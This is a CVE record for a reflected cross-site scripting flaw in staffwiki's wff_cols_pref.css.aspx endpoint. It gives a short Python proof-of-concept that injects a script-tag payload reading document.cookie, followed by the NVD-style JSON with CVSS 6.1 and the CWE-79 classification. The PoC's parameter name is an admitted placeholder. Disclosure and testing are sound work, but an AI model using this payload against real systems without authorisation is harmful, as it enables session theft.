CVE-2026-29969

import requests # PoC for CVE-2026-29969: Reflected XSS in staffwiki # Target endpoint: wff_cols_pref.css.aspx def check_xss(target_url): # Malicious payload to test execution xss_payload = '"><script>alert(document.cookie)</script>' # The vulnerable parameter is assumed to be a query parameter based on common .aspx behavior # Adjust the parameter name ('vuln_param') based on actual application parameter params = { "vuln_param": xss_payload } try: response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected unescaped in the response if xss_payload in response.text: print("[+] Potential XSS vulnerability detected!") print(f"[+] Payload: {xss_payload}") return True else: print("[-] Payload not reflected in response.") return False except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://target-staffwiki-url/wff_cols_pref.css.aspx" check_xss(target)

{"cve": {"id": "CVE-2026-29969", "sourceIdentifier": "[email protected]", "published": "2026-03-26T19:16:59.600", "lastModified": "2026-05-07T18:57:08.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability in the wff_cols_pref.css.aspx endpoint of staffwiki v7.0.1.19219 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted HTTP request."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) en el endpoint wff_cols_pref.css.aspx de staffwiki v7.0.1.19219 permite a los atacantes ejecutar Javascript arbitrario en el contexto del navegador del usuario a través de una solicitud HTTP manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:workflowfirst:staffwiki:7.0.1.19219:*:*:*:*:*:*:*", "matchCriteriaId": "AA34861E-1A78-4E0F-A6BE-BEF18158DC46"}]}]}], "references": [{"url": "https://github.com/cmoncrook/Security-Advisories/blob/main/cve-2026-29969", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}